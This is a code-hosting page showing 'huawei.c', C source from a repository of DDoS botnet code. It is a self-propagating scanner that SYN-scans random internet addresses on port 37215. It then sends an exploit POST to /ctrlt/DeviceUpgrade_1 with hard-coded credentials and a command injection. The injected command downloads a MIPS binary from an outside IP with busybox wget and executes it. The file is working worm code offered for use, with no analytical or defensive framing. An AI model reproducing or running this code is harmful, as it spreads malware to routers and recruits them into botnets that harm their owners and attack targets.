Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/HuaWei/huawei.c
5038 views
1
#define _GNU_SOURCE
2
3
#ifdef DEBUG
4
#include <stdio.h>
5
#endif
6
#include <unistd.h>
7
#include <stdlib.h>
8
#include <sys/socket.h>
9
#include <arpa/inet.h>
10
#include <sys/select.h>
11
#include <sys/types.h>
12
#include <time.h>
13
#include <fcntl.h>
14
#include <signal.h>
15
#include <errno.h>
16
#include <string.h>
17
#include <linux/ip.h>
18
#include <linux/tcp.h>
19
20
#include "headers/includes.h"
21
#include "headers/huawei.h"
22
#include "headers/table.h"
23
#include "headers/rand.h"
24
#include "headers/util.h"
25
26
int huawei_scanner_pid = 0, huawei_rsck = 0, huawei_rsck_out = 0;
27
char huawei_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
28
struct huawei_scanner_connection *conn_table;
29
uint32_t huawei_fake_time = 0;
30
31
int huawei_recv_strip_null(int sock, void *buf, int len, int flags)
32
{
33
int ret = recv(sock, buf, len, flags);
34
35
if(ret > 0)
36
{
37
int i = 0;
38
39
for(i = 0; i < ret; i++)
40
{
41
if(((char *)buf)[i] == 0x00)
42
{
43
((char *)buf)[i] = 'A';
44
}
45
}
46
}
47
48
return ret;
49
}
50
51
void huawei_init(void)
52
{
53
int i = 0;
54
uint16_t source_port;
55
struct iphdr *iph;
56
struct tcphdr *tcph;
57
58
// Let parent continue on main thread
59
huawei_scanner_pid = fork();
60
if(huawei_scanner_pid > 0 || huawei_scanner_pid == -1)
61
return;
62
63
LOCAL_ADDR = util_local_addr();
64
65
rand_init();
66
huawei_fake_time = time(NULL);
67
conn_table = calloc(HUAWEI_SCANNER_MAX_CONNS, sizeof(struct huawei_scanner_connection));
68
for(i = 0; i < HUAWEI_SCANNER_MAX_CONNS; i++)
69
{
70
conn_table[i].state = HUAWEI_SC_CLOSED;
71
conn_table[i].fd = -1;
72
}
73
74
// Set up raw socket scanning and payload
75
if((huawei_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
76
{
77
exit(0);
78
}
79
fcntl(huawei_rsck, F_SETFL, O_NONBLOCK | fcntl(huawei_rsck, F_GETFL, 0));
80
i = 1;
81
if(setsockopt(huawei_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
82
{
83
close(huawei_rsck);
84
exit(0);
85
}
86
87
do
88
{
89
source_port = rand_next() & 0xffff;
90
}
91
while(ntohs(source_port) < 1024);
92
93
iph = (struct iphdr *)huawei_scanner_rawpkt;
94
tcph = (struct tcphdr *)(iph + 1);
95
96
// Set up IPv4 header
97
iph->ihl = 5;
98
iph->version = 4;
99
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
100
iph->id = rand_next();
101
iph->ttl = 64;
102
iph->protocol = IPPROTO_TCP;
103
104
// Set up TCP header
105
tcph->dest = htons(37215);
106
tcph->source = source_port;
107
tcph->doff = 5;
108
tcph->window = rand_next() & 0xffff;
109
tcph->syn = TRUE;
110
111
#ifdef DEBUG
112
printf("[huawei] scanner process initiated. starting scanner\n");
113
#endif
114
115
// Main logic loop
116
while(TRUE)
117
{
118
fd_set fdset_rd, fdset_wr;
119
struct huawei_scanner_connection *conn;
120
struct timeval tim;
121
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
122
123
// Spew out SYN to try and get a response
124
if(huawei_fake_time != last_spew)
125
{
126
last_spew = huawei_fake_time;
127
128
for(i = 0; i < HUAWEI_SCANNER_RAW_PPS; i++)
129
{
130
struct sockaddr_in paddr = {0};
131
struct iphdr *iph = (struct iphdr *)huawei_scanner_rawpkt;
132
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
133
134
iph->id = rand_next();
135
iph->saddr = LOCAL_ADDR;
136
iph->daddr = get_random_ip();
137
iph->check = 0;
138
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
139
140
tcph->dest = htons(37215);
141
tcph->seq = iph->daddr;
142
tcph->check = 0;
143
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
144
145
paddr.sin_family = AF_INET;
146
paddr.sin_addr.s_addr = iph->daddr;
147
paddr.sin_port = tcph->dest;
148
149
sendto(huawei_rsck, huawei_scanner_rawpkt, sizeof(huawei_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
150
}
151
}
152
153
// Read packets from raw socket to get SYN+ACKs
154
last_avail_conn = 0;
155
while(TRUE)
156
{
157
int n = 0;
158
char dgram[1514];
159
struct iphdr *iph = (struct iphdr *)dgram;
160
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
161
struct huawei_scanner_connection *conn;
162
163
errno = 0;
164
n = recvfrom(huawei_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
165
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
166
break;
167
168
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
169
continue;
170
if(iph->daddr != LOCAL_ADDR)
171
continue;
172
if(iph->protocol != IPPROTO_TCP)
173
continue;
174
if(tcph->source != htons(37215))
175
continue;
176
if(tcph->dest != source_port)
177
continue;
178
if(!tcph->syn)
179
continue;
180
if(!tcph->ack)
181
continue;
182
if(tcph->rst)
183
continue;
184
if(tcph->fin)
185
continue;
186
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
187
continue;
188
189
conn = NULL;
190
for(n = last_avail_conn; n < HUAWEI_SCANNER_MAX_CONNS; n++)
191
{
192
if(conn_table[n].state == HUAWEI_SC_CLOSED)
193
{
194
conn = &conn_table[n];
195
last_avail_conn = n;
196
break;
197
}
198
}
199
200
// If there were no slots, then no point reading any more
201
if(conn == NULL)
202
break;
203
204
conn->dst_addr = iph->saddr;
205
conn->dst_port = tcph->source;
206
huawei_setup_connection(conn);
207
}
208
209
FD_ZERO(&fdset_rd);
210
FD_ZERO(&fdset_wr);
211
212
for(i = 0; i < HUAWEI_SCANNER_MAX_CONNS; i++)
213
{
214
int timeout = 5;
215
216
conn = &conn_table[i];
217
//timeout = (conn->state > HUAWEI_SC_CONNECTING ? 30 : 5);
218
219
if(conn->state != HUAWEI_SC_CLOSED && (huawei_fake_time - conn->last_recv) > timeout)
220
{
221
close(conn->fd);
222
conn->fd = -1;
223
conn->state = HUAWEI_SC_CLOSED;
224
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
225
226
continue;
227
}
228
229
if(conn->state == HUAWEI_SC_CONNECTING || conn->state == HUAWEI_SC_EXPLOIT_STAGE2 || conn->state == HUAWEI_SC_EXPLOIT_STAGE3)
230
{
231
FD_SET(conn->fd, &fdset_wr);
232
if(conn->fd > mfd_wr)
233
mfd_wr = conn->fd;
234
}
235
else if(conn->state != HUAWEI_SC_CLOSED)
236
{
237
FD_SET(conn->fd, &fdset_rd);
238
if(conn->fd > mfd_rd)
239
mfd_rd = conn->fd;
240
}
241
}
242
243
tim.tv_usec = 0;
244
tim.tv_sec = 1;
245
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
246
huawei_fake_time = time(NULL);
247
248
for(i = 0; i < HUAWEI_SCANNER_MAX_CONNS; i++)
249
{
250
conn = &conn_table[i];
251
252
if(conn->fd == -1)
253
continue;
254
255
if(FD_ISSET(conn->fd, &fdset_wr))
256
{
257
int err = 0, ret = 0;
258
socklen_t err_len = sizeof(err);
259
260
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
261
if(err == 0 && ret == 0)
262
{
263
if(conn->state == HUAWEI_SC_EXPLOIT_STAGE2)
264
{
265
#ifdef DEBUG
266
printf("[huawei] FD%d exploit_stage=2. sending POST /ctrlt/DeviceUpgrade_1 to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
267
#endif
268
util_strcpy(conn->payload_buf, "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 103.67.36.189 -l /tmp/.oxy -r /bins/oxy.mips; /bin/busybox chmod 777 * /tmp/.oxy; /tmp/.oxy)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n\r\n");
269
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
270
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
271
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
272
273
conn->state = HUAWEI_SC_EXPLOIT_STAGE3;
274
275
continue;
276
}
277
else if(conn->state == HUAWEI_SC_EXPLOIT_STAGE3)
278
{
279
#ifdef DEBUG
280
printf("[huawei] FD%d exploit_stage=3. closing connection\n", conn->fd);
281
#endif
282
close(conn->fd);
283
conn->fd = -1;
284
conn->state = HUAWEI_SC_CLOSED;
285
286
continue;
287
}
288
else
289
{
290
#ifdef DEBUG
291
printf("[huawei] FD%d exploit_stage=1. connection to %d.%d.%d.%d successful. proceeding to stage 2\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
292
#endif
293
conn->state = HUAWEI_SC_EXPLOIT_STAGE2;
294
}
295
}
296
else
297
{
298
close(conn->fd);
299
conn->fd = -1;
300
conn->state = HUAWEI_SC_CLOSED;
301
302
continue;
303
}
304
}
305
306
if(FD_ISSET(conn->fd, &fdset_rd))
307
{
308
while(TRUE)
309
{
310
int ret = 0;
311
312
if(conn->state == HUAWEI_SC_CLOSED)
313
break;
314
315
if(conn->rdbuf_pos == HUAWEI_SCANNER_RDBUF_SIZE)
316
{
317
memmove(conn->rdbuf, conn->rdbuf + HUAWEI_SCANNER_HACK_DRAIN, HUAWEI_SCANNER_RDBUF_SIZE - HUAWEI_SCANNER_HACK_DRAIN);
318
conn->rdbuf_pos -= HUAWEI_SCANNER_HACK_DRAIN;
319
}
320
321
errno = 0;
322
ret = huawei_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, HUAWEI_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
323
if(ret == 0)
324
{
325
errno = ECONNRESET;
326
ret = -1;
327
}
328
if(ret == -1)
329
{
330
if(errno != EAGAIN && errno != EWOULDBLOCK)
331
{
332
if(conn->state == HUAWEI_SC_EXPLOIT_STAGE2)
333
{
334
close(conn->fd);
335
huawei_setup_connection(conn);
336
continue;
337
}
338
339
close(conn->fd);
340
conn->fd = -1;
341
conn->state = HUAWEI_SC_CLOSED;
342
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
343
}
344
break;
345
}
346
347
conn->rdbuf_pos += ret;
348
conn->last_recv = huawei_fake_time;
349
350
int len = util_strlen(conn->rdbuf);
351
conn->rdbuf[len] = 0;
352
}
353
}
354
}
355
}
356
}
357
358
void huawei_kill(void)
359
{
360
kill(huawei_scanner_pid, 9);
361
}
362
363
static void huawei_setup_connection(struct huawei_scanner_connection *conn)
364
{
365
struct sockaddr_in addr = {0};
366
367
if(conn->fd != -1)
368
close(conn->fd);
369
370
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
371
{
372
return;
373
}
374
375
conn->rdbuf_pos = 0;
376
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
377
378
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
379
380
addr.sin_family = AF_INET;
381
addr.sin_addr.s_addr = conn->dst_addr;
382
addr.sin_port = conn->dst_port;
383
384
conn->last_recv = huawei_fake_time;
385
386
if(conn->state == HUAWEI_SC_EXPLOIT_STAGE2 || conn->state == HUAWEI_SC_EXPLOIT_STAGE3)
387
{
388
}
389
else
390
{
391
conn->state = HUAWEI_SC_CONNECTING;
392
}
393
394
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
395
}
396
397
static ipv4_t get_random_ip(void)
398
{
399
uint32_t tmp;
400
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
401
402
do
403
{
404
tmp = rand_next();
405
406
srand(time(NULL));
407
o1 = tmp & 0xff;
408
o2 = (tmp >> 8) & 0xff;
409
o3 = (tmp >> 16) & 0xff;
410
o4 = (tmp >> 24) & 0xff;
411
}
412
while(o1 == 127 || // 127.0.0.0/8 - Loopback
413
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
414
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
415
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
416
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
417
(o1 == 10) || // 10.0.0.0/8 - Internal network
418
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
419
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
420
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
421
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
422
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
423
(o1 >= 224) || // 224.*.*.*+ - Multicast
424
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
425
);
426
427
int randnum = rand() % 2;
428
if (randnum == 0)
429
{
430
return INET_ADDR(156,o2,o3,o4);
431
}
432
if (randnum == 1)
433
{
434
return INET_ADDR(197,o2,o3,o4);
435
}
436
if (randnum == 2)
437
{
438
return INET_ADDR(o1,o2,o3,o4);
439
}
440
}
441
442